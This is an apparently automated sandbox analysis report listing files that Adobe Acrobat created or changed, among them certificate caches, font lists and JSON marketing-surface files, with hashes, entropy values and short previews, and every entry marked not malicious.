MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkle/pM/tfllXlE/HT8k+WjNNX8RolJuRdxLlGB9lQRYwpDdt:kKHRseT8cNMa8RdWBwRd
MD5:	FAF4F04FBBCD54F5DACCD20F84F7F09A
SHA1:	B251D27CC521480D9EAC61E84698813C1DC2A5CE
SHA-256:	9A4A325CEA95A453C7960BAE92942A5DEA5811466B4466A3DD56D6E13A6055FE
SHA-512:	DB0848FA176D2E65BFD52FCEA58F282532994135C54BD32DD83F69518EEA7B0ABBE199D22E66776B179D03A5E29EC130AFEE2C3948E67FAA72A2D48E4D0C8A8D
Malicious:	false
Preview:	p...... ........m....c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kKR0+EtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5MiDImsLNkPlE99SNxAhUe/3
MD5:	85ACE11416C0BB74237CA28C3091887A
SHA1:	68F2AF8B51AC24DC2001D89E92234C9A2E449A88
SHA-256:	AE3AF51F511A726EC3F7ACE4E3E0456AA9988F8A2216E1BFE4C74DA8EC0825DE
SHA-512:	9EB1EA1431407BFA16A6F1C77D0ABF4A413D993A43DD309E7ECFFC9663AD8F974498B2E36452419B82CC93CE1B3BA3F7FA73C22FDA703AC553192246CA91D36E
Malicious:	false
Preview:	p...... ...........c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.377101807833749
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJM3g98kUwPeUkwRe9:YvXKXZvLT5LjIPaGMbLUkee9
MD5:	EEB4DD36A1B2122252B6AC3A08556E98
SHA1:	C379AFE9AB00260B228189E6039BB835D0E01792
SHA-256:	1448417E96F3560C57FA1A482437AA4D8404A930FB91332250D77980BD9C9196
SHA-512:	AC0E4D5BDFFD80ED8C83B7F3F7B242CC32A1CDBFE6DB8387A6FB4C7D417C6647B52A09A96FB58C6DF75849B97559983C68028E88560DCD6FBAA9F8B925685ED6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.329865774317285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfBoTfXpnrPeUkwRe9:YvXKXZvLT5LjIPaGWTfXcUkee9
MD5:	DF4F07247F95CB7153C031FFB571511C
SHA1:	E42B8B2C8A365FCEF7746939DD4660C643CB1E7E
SHA-256:	D154174CDD29790888EB2AE9473D41D598404986FA7266EEB88B6EBA579CB600
SHA-512:	55B8AAB064C10066AC668C6E63F271D38FCD77584B8ADA182ED82A10E3015C52C4C45239D7770DF355EB8777106F0E97ECA6D91DBCEB3EEB018E4B15700640CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3081252696750925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfBD2G6UpnrPeUkwRe9:YvXKXZvLT5LjIPaGR22cUkee9
MD5:	7569501AB584ACA6AAB54339E0852268
SHA1:	738969D3E9FAD82EFC838EDAC53A0ECAA5A42979
SHA-256:	52BDD7D9215966730FC0E22A6B802762C41C94E7D9D8355CD61543EC32A0702E
SHA-512:	3976FB4228ED7D8B6211016953A47010551E9AB36C8542BDF9E285A015BDB4D402B536C2EAE0675C4C4A2F898C41E9ED259783B639AC974D308D40D3CC9F6AB4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.358585890270264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfPmwrPeUkwRe9:YvXKXZvLT5LjIPaGH56Ukee9
MD5:	ABE1FC88F0D07E52D738F677A4A0CF53
SHA1:	EB2295B4711F9C5858F27C279A9B8408CA00DEED
SHA-256:	FF83BEF66ACAE6722B788C4B4D8EC4DA795E114BF7326BD3D4BFD4CAB26DA41E
SHA-512:	628802D7772555DD48BF7F8C4E9FA15031480975AADEABA448ED62F6E20BEAC241B384EBF857C91F6B545066697AAE4ADE2AD45FEDFC1C4A09C9DBCAFFE3871A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6967107080634625
Encrypted:	false
SSDEEP:	24:Yv6XhT5XIPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSWY:YvOX2hgy6SAFv5Ah8cv/f
MD5:	564C362B16934303739E2B013CE253BF
SHA1:	F78BFABBDE1A2A515619E49478D051DD0C3524CD
SHA-256:	99C5E37082BD821F44E9037AF643935D52FC495A035E9CB2EB4DDEAF8291BE63
SHA-512:	433F5B246F1099D457E46166699243BF143CB4BF0CC82D57624906FE09D6570EC8E5D88AA4F490E76654E4F2978C44F1E617D1ED39CCDCFD923258D54E5321CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3328734332735745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJf8dPeUkwRe9:YvXKXZvLT5LjIPaGU8Ukee9
MD5:	AF19E9B0294EFCCE89764F0CC81F9653
SHA1:	0B3032095C4468B353D70D1BDC2C7AE3F0205102
SHA-256:	D922975FD56D2C66C76D6249BFFD6558DD5B0E7E4B4DD547A2E4B2C30B099DBC
SHA-512:	8030A5B1DD00BF43114F69BD98F3C542FE68DA037A15682FC346E05F0C1A1C494CFFA395146E29D2A46569B6DCD225EDB4D27476303A9754E6756471E03698DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.323726720861124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfQ1rPeUkwRe9:YvXKXZvLT5LjIPaGY16Ukee9
MD5:	7C429987FD4DAFD52B6211A9E780A077
SHA1:	376F3FA3F0AF3C28F1031A1FB08574DD5C7F48B0
SHA-256:	4B04E70FD7AE89A3F730A4166C6685A3F972D013F524A2EFB9EFB2B246478273
SHA-512:	045205AE742F9AC8A899A26F77A9A2F886B403C848DBF4D89555F6128D4A374CD07A2B4617751FB8F18167F652A5718F00250CE8E03645FE7E65765D28A217F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.34211104510664
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfFldPeUkwRe9:YvXKXZvLT5LjIPaGz8Ukee9
MD5:	D263D279714FCD97EADB0AD01B1F75DA
SHA1:	1045D6B7D7ECB71FEE633F53BB2FDA65C589E94F
SHA-256:	E93CCCFE0B2907FE53A2D79181C8AEDD89BE527C8B0E3659C842AEA091E8C879
SHA-512:	82CFEB9D2690C28E6215F58BD8CCBF6B1FDB47E32C059AC770057CCC851D71EADC7055F9CB2B06A76A9343FB671C9E5916059EF62258DA09867122E4C8AEC06E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.359218415600661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfzdPeUkwRe9:YvXKXZvLT5LjIPaGb8Ukee9
MD5:	21E8E6654AA6B9D602E48CDC76AD4D4A
SHA1:	936F8A14F7E5B6653EF7EAB260C712F696AA5CD9
SHA-256:	47361CF1654060323223319335F3DF07BDE47E77A8DF2BD84B9F2F82C09A1A23
SHA-512:	47DC9B27C36D58637CEBD4FEC26E607E3916F9E22B6E1ED058804DF45BEFEF1802758B48E68F3D19A7A4E03DDEE38DF4C9B2A18217EE3F0C4CB9C3F392290A1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.340083570517113
Encrypted:	false
